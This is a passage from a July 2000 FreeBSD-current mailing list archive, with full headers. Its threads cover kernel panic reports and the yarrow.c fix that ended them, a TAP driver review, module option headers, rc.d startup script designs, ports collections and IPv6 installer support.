single-user mode for maintenance. > and my favorite substitute proposal: > > http://www.roguetrader.com/~brandon/sas/. Having working code makes it a lot more attractive than any of the others - or what we've discussed here. It's also a lot more complex that what we've been discussing. If you're willing to work on getting this integrated into the core, cool. If not - then I'd still like to see something that is easier to configure and deals with startup/shutdown issues better. Thanx, ; Mon, 10 Jul 2000 20:19:36 -0700 (PDT) (envelope-from grog@wantadilla.lemis.com) Received: (from grog@localhost) by wantadilla.lemis.com (8.9.3/8.9.3) id MAA23162; Tue, 11 Jul 2000 12:47:54 +0930 (CST) (envelope-from grog) Date: Tue, 11 Jul 2000 12:47:54 +0930 From: Greg Lehey To: "Thomas D. Dean" , Leif Neland , Noriyoshi Kawano Cc: freebsd-current@FreeBSD.ORG Subject: Me too (was: Current Spontaneous Reboot) Message-ID: <20000711124754.B23115@wantadilla.lemis.com> References: <200007101801.LAA08016@ix.netcom.com> <005f01bfeac9$9a699500$0e00a8c0@neland.dk> <86em5131s8.wl@software.co.jp> <200007101801.LAA08016@ix.netcom.com> <005f01bfeac9$9a699500$0e00a8c0@neland.dk> <200007101801.LAA08016@ix.netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: <200007101801.LAA08016@ix.netcom.com> Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.lemis.com/~grog X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF 13 24 52 F8 6D A4 95 EF Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Monday, 10 July 2000 at 11:01:51 -0700, Thomas Dean wrote: > I just experienced a sudden reboot. > > I am running -current SMP. Cvsup, make world, rebuild kernel 20000709. > > # uname -a > FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ > Sun Jul 9 18:05:19 PDT 2000 \ > root@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 > # physical address: 0x0009fc30 > # signature: '_MP_' > # length: 16 bytes On Tuesday, 11 July 2000 at 1:47:10 +0200, Leif Neland wrote: > Just a "me too" > > While telnetting to another machine, I suddenly got a "Page not present in > supervisor mode", and a reference to rc5des. > > Unfortunately I hit the "any-key" too fast to provide any more info. On Tuesday, 11 July 2000 at 10:15:35 +0900, Noriyoshi Kawano wrote: > Me too. > But not SMP. Yet another "me too". I was in X at the time, so I didn't see any error messages. The sources were supped at 2030 UTC on Saturday, 8 July. Greg -- Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 20:35: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from netplex.com.au (adsl-63-207-30-186.dsl.snfc21.pacbell.net [63.207.30.186]) by hub.freebsd.org (Postfix) with ESMTP id B90A437BAD1 for ; Mon, 10 Jul 2000 20:35:05 -0700 (PDT) (envelope-from peter@netplex.com.au) Received: from netplex.com.au (peter@localhost [127.0.0.1]) by netplex.com.au (8.9.3/8.9.3) with ESMTP id UAA87973; Mon, 10 Jul 2000 20:35:00 -0700 (PDT) (envelope-from peter@netplex.com.au) Message-Id: <200007110335.UAA87973@netplex.com.au> X-Mailer: exmh version 2.1.1 10/15/1999 To: Noriyoshi Kawano Cc: freebsd-current@FreeBSD.ORG Subject: Re: Current Spontaneous Reboot In-Reply-To: Message from Noriyoshi Kawano of "Tue, 11 Jul 2000 10:15:35 +0900." <86em5131s8.wl@software.co.jp> Date: Mon, 10 Jul 2000 20:34:59 -0700 From: Peter Wemm Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Noriyoshi Kawano wrote: > Me too. > But not SMP. Likewise. -current as of about an hour ago, no SMP, lotsa ram, buildworld about 3 hours ago. I saw no console because it was running X. > ----- dmesg ---------------- > kernel trap 9 with interrupts disabled > > > Fatal trap 9: general protection fault while in kernel mode > instruction pointer = 0x8:0xc030ada4 > stack pointer = 0x10:0xcb6b1c30 > frame pointer = 0x10:0xcb6b1c80 > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags = resume, IOPL = 3 > current process = 298 (XF86_SVGA.xtt) > interrupt mask = > trap number = 9 > panic: general protection fault > > > syncing disks... 78 > Fatal double fault: > eip = 0xc02d8bfd > esp = 0xcb6afffc > ebp = 0xcb6b0090 > panic: double fault > Uptime: 1h20m34s > ---------------------------- > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > Cheers, -Peter -- Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au "All of this is for nothing if we don't go to the stars" - JMS/B5 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 22:59:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from web4.allunix.com (cc598076-a.chmchl1.ca.home.com [24.11.229.88]) by hub.freebsd.org (Postfix) with ESMTP id 65E6437B77C for ; Mon, 10 Jul 2000 22:59:03 -0700 (PDT) (envelope-from dave@allunix.com) Received: from dell (dhcp1.allunix.com [192.168.0.3]) by web4.allunix.com (8.9.3/8.9.3) with ESMTP id XAA00244 for ; Mon, 10 Jul 2000 23:07:55 -0700 (PDT) (envelope-from dave@allunix.com) Message-ID: <200007102301310960.00617069@web4.allunix.com> In-Reply-To: <20000711124754.B23115@wantadilla.lemis.com> References: <200007101801.LAA08016@ix.netcom.com> <005f01bfeac9$9a699500$0e00a8c0@neland.dk> <86em5131s8.wl@software.co.jp> <200007101801.LAA08016@ix.netcom.com> <005f01bfeac9$9a699500$0e00a8c0@neland.dk> <200007101801.LAA08016@ix.netcom.com> <20000711124754.B23115@wantadilla.lemis.com> X-Mailer: Calypso Version 3.10.03.02 (3) Date: Mon, 10 Jul 2000 23:01:31 -0700 Reply-To: dave@allunix.com From: "David W. DeTinne" To: freebsd-current@freebsd.org Subject: Re: Me too (was: Current Spontaneous Reboot) Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Me too, kernel trap 9 with interrupts disabled Fatel trap 9: general protection fault while in kernel mode instruction pointer =0x8:0xc029f304 stack pointer =0x10:0xc3d97c30 frame pointer =0x10:0xc3d97c80 code segment =base 0x0, limit 0xfffff, type 0x1b =DPL 0, pres1, def32 1, gran 1 processor eflags = resume, IOPL = 0 current process = 13207 (as) interrupt mask = trap number = 9 panic: general protection fault #uname -a FreeBSD web4.allunix.com 5.0-CURRENT FreeBSD 5.0-CURRENT #1: Mon Jul 10 21:55:05 PDT 2000 The system was cvsup'd and installed less then six hours ago. It is a non-smp system This is the second time, with both happening while building a program. *********** REPLY SEPARATOR *********** On 7/11/00 at 12:47 PM Greg Lehey wrote: >On Monday, 10 July 2000 at 11:01:51 -0700, Thomas Dean wrote: >> I just experienced a sudden reboot. >> >> I am running -current SMP. Cvsup, make world, rebuild kernel 20000709. >> >> # uname -a >> FreeBSD celebris 5.0-CURRENT FreeBSD 5.0-CURRENT #0: \ >> Sun Jul 9 18:05:19 PDT 2000 \ >> root@celebris:/usr/src/sys/compile/CELEBRIS-SMP i386 >> # physical address: 0x0009fc30 >> # signature: '_MP_' >> # length: 16 bytes > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 23: 2:51 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id E726137B509 for ; Mon, 10 Jul 2000 23:02:47 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id XAA08012; Mon, 10 Jul 2000 23:03:09 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: "Yevmenkin, Maksim N, CSCIO" Cc: "'freebsd-current@freebsd.org'" Subject: Re: New version of TAP driver for FreeBSD -current In-reply-to: Your message of "Mon, 10 Jul 2000 13:29:26 EDT." Date: Mon, 10 Jul 2000 23:03:09 -0700 Message-ID: <8009.963295389@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Long time back i sent request to the list and asked about including this > driver into the source tree. i still did not receive any reply. Some people > seems to be using this driver for Ethernet tunneling (with VTUN software). > Somebody even requested for OpenBSD port. So it would be really nice to > hear from one of the commiters. Hi Maksim, I've looked at this driver and think it looks useful, though I'm a little concerned about the handling of bridge support. We don't really encourage users to edit module Makefiles just to enable a given feature in the compiled module since that naturally leads to situations where one /modules directory is not the same as another (where you might want to copy things), even though all the same module names appear. It also leads to version skew between the kernel and the modules since sliding a new kernel into place which doesn't have BRIDGE support would now mysteriously break a module, leading to some confusion to any admin new on the scene. Isn't there a better way of enabling support in the module all the time and conditionally using it only if the kernel also provides the right support? At that point it would be my opinion (and mine only) that it was ready to come into FreeBSD-current as a new feature. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 23: 5:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id C480E37BC9D for ; Mon, 10 Jul 2000 23:05:40 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id IAA69545; Tue, 11 Jul 2000 08:06:32 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007110606.IAA69545@grimreaper.grondar.za> To: Nick Hibma Cc: FreeBSD CURRENT Mailing List Subject: Re: if_de as a module... References: In-Reply-To: ; from Nick Hibma "Mon, 10 Jul 2000 21:32:20 +0100." Date: Tue, 11 Jul 2000 08:06:32 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Any file called opt_*.h that is not present is created (empty). ...except the removed opt_*.h are not empty; hence the added headers in my patch. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jul 10 23:59:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 1B7BA37B605 for ; Mon, 10 Jul 2000 23:59:10 -0700 (PDT) (envelope-from green@FreeBSD.org) Date: Tue, 11 Jul 2000 02:59:08 -0400 (EDT) From: Brian Fundakowski Feldman X-Sender: green@green.dyndns.org To: current@FreeBSD.org Subject: HEADS UP: recent panics fixed Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please let me know if any of you still have spontaneous panics! -- Brian Fundakowski Feldman \ FreeBSD: The Power to Serve! / green@FreeBSD.org `------------------------------' ---------- Forwarded message ---------- Date: Mon, 10 Jul 2000 23:47:38 -0700 (PDT) From: Brian Feldman To: cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org Subject: cvs commit: src/sys/dev/randomdev yarrow.c green 2000/07/10 23:47:38 PDT Modified files: sys/dev/randomdev yarrow.c Log: One should never allocate 4-kilobyte structs and such on the interrupt stack. It's bad for your machine's health. Make the two huge structs in reseed() static to prevent crashes. This is the bug that people have been running into and panic()ing on for the past few days. Reviewed by: phk Revision Changes Path 1.8 +7 -3 src/sys/dev/randomdev/yarrow.c To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 0: 4:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from gateway.posi.net (c1096725-a.smateo1.sfba.home.com [24.20.139.104]) by hub.freebsd.org (Postfix) with ESMTP id 4BEFD37B605; Tue, 11 Jul 2000 00:04:03 -0700 (PDT) (envelope-from kbyanc@posi.net) Received: from localhost (kbyanc@localhost) by gateway.posi.net (8.9.3/8.9.3) with ESMTP id AAA36401; Tue, 11 Jul 2000 00:08:12 -0700 (PDT) (envelope-from kbyanc@posi.net) Date: Tue, 11 Jul 2000 00:08:12 -0700 (PDT) From: Kelly Yancey To: Mikel Cc: Mike Meyer , current@FreeBSD.ORG, cvs-all@FreeBSD.ORG Subject: Re: etc/rc.d & things... In-Reply-To: <3969CB43.73363414@ocsny.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Mikel wrote: > > Kelly Yancey wrote: > > > > > How about rather then separate directories, you prefix the symlink names > > with 'S' for startup scripts and 'K' (for "kill") for shutdown scripts. Then, > > you rename rc.d to rc3.d... > > I like it. It's clean and simple, almost to the point of being elegant. But why > bother adding rc?.d if you are going to right it to handle s or k then the present > home should be fine, no? > It was a reference to how SysV organized it's rc scripts. SysV implements 'run-levels' for which there is a rcX.d for each run-level. The startup/shutdown scripts for a run-level are executed at transitions between levels. In any event, it was a poor attempt at humor on my part. Don't go down this road, read the archives to see why (search for init and runlevels). Kelly -- Kelly Yancey - kbyanc@posi.net - Belmont, CA System Administrator, eGroups.com http://www.egroups.com/ Maintainer, BSD Driver Database http://www.posi.net/freebsd/drivers/ Coordinator, Team FreeBSD http://www.posi.net/freebsd/Team-FreeBSD/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 0:30:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from peach.ocn.ne.jp (peach.ocn.ne.jp [210.145.254.87]) by hub.freebsd.org (Postfix) with ESMTP id E76DB37B5ED for ; Tue, 11 Jul 2000 00:30:55 -0700 (PDT) (envelope-from dcs@newsguy.com) Received: from newsguy.com (p59-dn02kiryunisiki.gunma.ocn.ne.jp [211.0.245.124]) by peach.ocn.ne.jp (8.9.1a/OCN/) with ESMTP id QAA29347; Tue, 11 Jul 2000 16:29:34 +0900 (JST) Message-ID: <396ACCF7.B8A49A5@newsguy.com> Date: Tue, 11 Jul 2000 16:29:59 +0900 From: "Daniel C. Sobral" X-Mailer: Mozilla 4.7 [en] (Win98; I) X-Accept-Language: en,pt-BR,ja MIME-Version: 1.0 To: clefevre@citeweb.net Cc: Mike Meyer , freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> <3969D84A.D23A84B6@newsguy.com> <3dlhpybs.fsf@pc166.gits.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cyrille Lefevre wrote: > > > http://www.freebsd.org/~dfr/devices.html > > off topic. Mmmmm... I must have copied the wrong link, then... > > http://www.freebsd.org/~eivind/newrc.html > > well. what about a mix of the SystemV approach (ala HP-UX) and the IRIX one > (using something like chconfig). > > HP-UX : > > /sbin/init.d/script start_msg|stop_msg|start|stop (FMPOV, there isn't not > enough possible choises, such as status, restart, config, command, etc.) > /sbin/rc[S0-5].d/[SK][0-9][0-9][0-9]script linked to /sbin/init.d/script ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ This is confusing and difficult ot manage. > /sbin/rc (+ /sbin/rc.util) sources /etc/rc.config then runs /sbin/rc?.d > startup files > /etc/rc.config.d/services are configuration files (ala bourne shell). Non-centralized configuration is frowned upon. Having to find which file has something, or having to read through multiple files to understand how the system is configured is a disadvantage wrt to the present system. > /sbin/rc.config sources /etc/rc.config.d configuration files. > /usr/sbin/ch_rc is not so easy to use to modify /etc/rc.config.d/services. > > IRIX : oops, don't remember how works startup scripts. I just remember me > configurations files : > > /sbin/chconfig [on|off] service or something like that. > (don't remember if it's possible to change options through chconfig, > but I guess no). > /etc/config/services enable or disable services. > /etc/config/services.options just contains arguments to services. > > so, a mix of both w/o the levels stuffs + a /etc/rc.default.d (a synonym > to /etc/defaults/rc.conf but in separate files between HP-UX and IRIX > configuration files) would be a begining. It would be a waste of time. Without the levels, we are gaining nothing, and we loose in additional useless complexity. Alas, "levels" is a half-assed solution, because the states in which a system can be in are in a graph. The above proposal doesn't have an ink of a chance. Please, read Eivind's page, and read the numerous previous post on this topic. > > and my favorite substitute proposal: > > > > http://www.roguetrader.com/~brandon/sas/. > > effectively, the last one is interresting. a major problem w/ this one is the > use of "perl" which is not available a boot time since it is located in /usr. I'm sure it can be easily done as a C program. -- Daniel C. Sobral (8-DCS) dcs@newsguy.com dcs@freebsd.org capo@the.great.underground.bsdconpiracy.org _DES: The Book of Bruce has only one sentence in it, and it says "the actual directives of my cult are left as an exercise for the reader. Good luck." jkh: does it really include the 'good luck' part? EE: OK, I made that part up. EE: I figured it should sound a bit more cheery than how Bruce initially dictated it to me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 3:22:11 2000 Delivered-To: freebsd-current@freebsd.org Received: from racine.cybercable.fr (racine.cybercable.fr [212.198.0.201]) by hub.freebsd.org (Postfix) with SMTP id D41B037BC4C for ; Tue, 11 Jul 2000 03:22:04 -0700 (PDT) (envelope-from clefevre%no-spam@citeweb.net) Received: (qmail 9680304 invoked from network); 11 Jul 2000 10:22:03 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by racine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 11 Jul 2000 10:22:03 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id MAA04786; Tue, 11 Jul 2000 12:22:02 +0200 (CEST) (envelope-from clefevre%no-spam@citeweb.net) Posted-Date: Tue, 11 Jul 2000 12:22:02 +0200 (CEST) To: "Daniel C. Sobral" Cc: clefevre@citeweb.net, Mike Meyer , freebsd-current@FreeBSD.ORG Subject: Re: etc/rc.d & things... References: <14695.51428.314772.426883@guru.mired.org> <14697.31325.422020.803101@guru.mired.org> <3969D84A.D23A84B6@newsguy.com> <3dlhpybs.fsf@pc166.gits.fr> <396ACCF7.B8A49A5@newsguy.com> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 11 Jul 2000 12:22:01 +0200 In-Reply-To: "Daniel C. Sobral"'s message of "Tue, 11 Jul 2000 16:29:59 +0900" Message-ID: <4s5xrmpi.fsf@pc166.gits.fr> Lines: 30 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Daniel C. Sobral" writes: > Cyrille Lefevre wrote: > > > > HP-UX : > > > > /sbin/init.d/script start_msg|stop_msg|start|stop (FMPOV, there isn't not > > enough possible choises, such as status, restart, config, command, etc.) > > /sbin/rc[S0-5].d/[SK][0-9][0-9][0-9]script linked to /sbin/init.d/script > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > This is confusing and difficult ot manage. I'm just explaining HP-UX and IRIX implementations for someone who don't know them. > > /sbin/rc (+ /sbin/rc.util) sources /etc/rc.config then runs /sbin/rc?.d > > startup files > > /etc/rc.config.d/services are configuration files (ala bourne shell). > > Non-centralized configuration is frowned upon. Having to find which file > has something, or having to read through multiple files to understand > how the system is configured is a disadvantage wrt to the present > system. not so difficult if a command do that for you. (show, change, start and stop) Cyrille. -- home:mailto:clefevre%no-spam@citeweb.net Supprimer "%no-spam" pour me repondre. work:mailto:Cyrille.Lefevre%no-spam@edf.fr Remove "%no-spam" to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 4:29:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mailman.zeta.org.au (mailman.zeta.org.au [203.26.10.16]) by hub.freebsd.org (Postfix) with ESMTP id 88E5737B95B for ; Tue, 11 Jul 2000 04:29:35 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: from bde.zeta.org.au (bde.zeta.org.au [203.2.228.102]) by mailman.zeta.org.au (8.8.7/8.8.7) with ESMTP id VAA23504; Tue, 11 Jul 2000 21:29:00 +1000 Date: Tue, 11 Jul 2000 21:28:54 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Nick Hibma Cc: Matthew Jacob , Mark Murray , FreeBSD CURRENT Mailing List Subject: Re: if_de as a module... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 10 Jul 2000, Nick Hibma wrote: > The opt_ files can be generated by the makefiles, so there is no reason > to remove those, see sys/modules/usb/Makefile > > SRCS = bus_if.h device_if.h usb_if.h usb_if.c \ > vnode_if.h \ > opt_usb.h \ > ... > > Any file called opt_*.h that is not present is created (empty). The opt_ files are used includes, so removing them breaks certain functionality in both the statically compiled version and the module. Empty ones for the module only break this functionality for the module. Modules shouldn't depend on options. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 5:47:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132]) by hub.freebsd.org (Postfix) with ESMTP id 841BF37B583; Tue, 11 Jul 2000 05:47:26 -0700 (PDT) (envelope-from netchild@leidinger.net) Received: from [62.104.201.2] (helo=mx1.freenet.de) by mout1.freenet.de with esmtp (Exim 3.15 #1) id 13BzRd-0007UL-00; Tue, 11 Jul 2000 14:47:25 +0200 Received: from a37d6.pppool.de ([213.6.55.214] helo=Magelan.Leidinger.net) by mx1.freenet.de with esmtp (Exim 3.15 #1) id 13BzRb-0000tw-00; Tue, 11 Jul 2000 14:47:24 +0200 Received: from Leidinger.net (netchild@localhost [127.0.0.1]) by Magelan.Leidinger.net (8.9.3/8.9.3) with ESMTP id MAA01457; Tue, 11 Jul 2000 12:40:09 +0200 (CEST) (envelope-from netchild@Leidinger.net) Message-Id: <200007111040.MAA01457@Magelan.Leidinger.net> Date: Tue, 11 Jul 2000 12:40:07 +0200 (CEST) From: Alexander Leidinger Subject: Re: Perl 5.6.0 & pod2man & ports To: andrews@technologist.com Cc: current@FreeBSD.ORG, ports@FreeBSD.ORG, sheldonh@uunet.co.za, ade@FreeBSD.ORG In-Reply-To: <20000710134444.D7475@argon.gryphonsoft.com> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 10 Jul, Will Andrews wrote: >> Only if ports-base isn't anymore in ports-all or my local CVS tree is > > ports-base was/has never [been] in ports-all, for some strange reason. Really? /usr/share/examples/cvsup/ports-supfile: ---snip--- ## Ports Collection. # # The easiest way to get the ports tree is to use the "ports-all" # mega-collection. It includes all of the individual "ports-*" # collections, ports-all # These are the individual collections that make up "ports-all". If you # use these, be sure to comment out "ports-all" above. # # Be sure to ALWAYS cvsup the ports-base collection if you use any of the # other individual collections below. ports-base is a mandatory collection # for the ports collection, and your ports may not build correctly if it # is not kept up to date. #ports-base ---snip--- I read this as: If you didn't use "ports-all", you have to use "ports-base". If you use "ports-all", "ports-base" is already included. And: ---snip--- (2) netchild@ttyp2% ident /usr/ports/Mk/bsd.port.mk /usr/ports/Mk/bsd.port.mk: $FreeBSD: ports/Mk/bsd.port.mk,v 1.341 2000/07/04 08:47:50 asami Exp $ ---snip--- If it isn't included, I would have trouble because of the DISTNAME -> PORTNAME/PORTVERSION change. Bye, Alexander. P.S.: Ade: the patch works, thanks. -- http://www.Leidinger.net Alexander @ Leidinger.net GPG fingerprint = 7423 F3E6 3A7E B334 A9CC B10A 1F5F 130A A638 6E7E To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 6: 6:24 2000 Delivered-To: freebsd-current@freebsd.org Received: from hitpro.hitachi.co.jp (hitpro.hitachi.co.jp [133.145.224.7]) by hub.freebsd.org (Postfix) with ESMTP id 48E2F37BBB5 for ; Tue, 11 Jul 2000 06:06:16 -0700 (PDT) (envelope-from ume@bisd.hitachi.co.jp) Received: from bisdgw.bisd.hitachi.co.jp by hitpro.hitachi.co.jp (8.9.3/3.7W-hitpro) id WAA07140; Tue, 11 Jul 2000 22:05:59 +0900 (JST) Received: from plum.ssr.bisd.hitachi.co.jp by bisdgw.bisd.hitachi.co.jp (8.9.3+3.2W/3.7W-bisdgw) with ESMTP id WAA16587 for ; Tue, 11 Jul 2000 22:05:59 +0900 (JST) (envelope-from ume@bisd.hitachi.co.jp) Received: from localhost (IDENT:xXKLLbxmZxBnhM/sPTrG3WKzpBCIxU0d8PsZyvldJqukjTcAfbKIaMT2nTzWyyOY@localhost [::1]) by plum.ssr.bisd.hitachi.co.jp (8.10.1/3.7W-plum) with ESMTP id e6BD5xF67704 for ; Tue, 11 Jul 2000 22:05:59 +0900 (JST) (envelope-from ume@bisd.hitachi.co.jp) Message-Id: <200007111305.e6BD5xF67704@plum.ssr.bisd.hitachi.co.jp> To: current@freebsd.org Subject: IPv6 support for installer From: Hajimu UMEMOTO In-Reply-To: <20000614131734.A29253@freebsd.org> References: <20000614122148.A14919@freebsd.org> <20000614131734.A29253@freebsd.org> X-Mailer: Mew version 1.94.2 on XEmacs 21.1 (Bryce Canyon) X-PGP-Fingerprint: D3 3D D3 54 88 13 DE 22 3F 31 C4 4D A1 08 84 7B X-PGP-Public-Key: http://www.imasy.org/~ume/ume@bisd.hitachi.co.jp.asc X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 4.0-STABLE Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 11 Jul 2000 22:05:58 +0900 X-Dispatcher: imput version 20000414(IM141) Lines: 21 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I wrote IPv6 support code for FreeBSD installer. It was tested by Japanese IPv6 guys and seems OK. So, I'd like to commit it. Could someone please review it before commit? There are the diff against 5.0-CURRENT and FD images built under 4.0-STABLE here: http://www.imasy.or.jp/~ume/ipv6/test/flp/ However, there is few mirror servers which is IPv6 capable in the world yet. It is too sad. So, I wish to added `IPv6 ready' section to FTP server list. But, I know only one server ftp7.jp.freebsd.org. I don't know if there are any other IPv6 ready mirror servers. If available, please let me know. -- Hajimu UMEMOTO @ Business Solution System Development Div., Hitachi Ltd. E-Mail: ume@bisd.hitachi.co.jp ume@mahoroba.org ume@FreeBSD.org URL: http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 6:35: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69]) by hub.freebsd.org (Postfix) with ESMTP id 3919B37BAFE for ; Tue, 11 Jul 2000 06:35:04 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by almso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id JAA21446; Tue, 11 Jul 2000 09:35:01 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id JAA14385; Tue, 11 Jul 2000 09:33:52 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id <3352HDTH>; Tue, 11 Jul 2000 09:35:00 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'Jordan K. Hubbard'" Cc: "'freebsd-current@freebsd.org'" Subject: RE: New version of TAP driver for FreeBSD -current Date: Tue, 11 Jul 2000 09:34:49 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jordan, > I've looked at this driver and think it looks useful, though I'm a > little concerned about the handling of bridge support. We don't > really encourage users to edit module Makefiles just to enable a given > feature in the compiled module [...] i think that whole ``#ifdef BRIDGE'' section can be removed from the code. ``ether_input'' seems to be take care of it. it also feeds frame to ``bpf'', so it also can be removed. thanks to Nick Sayer for the hint :) i just got e-mail that makes a good point about Ethernet bridging it seems freebsd 4.x bridgin code is somewhat broken.. (it initializes the tables of devices it can bridge at boot time).. thus tap0 isnt available yet.. so basically bridging doesnt work ;( ooops :) will check on it :) seems to me we need some interface to add/remove interfaces to/from bridge. Thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jul 11 6:47:54 2000 Delivered-To: 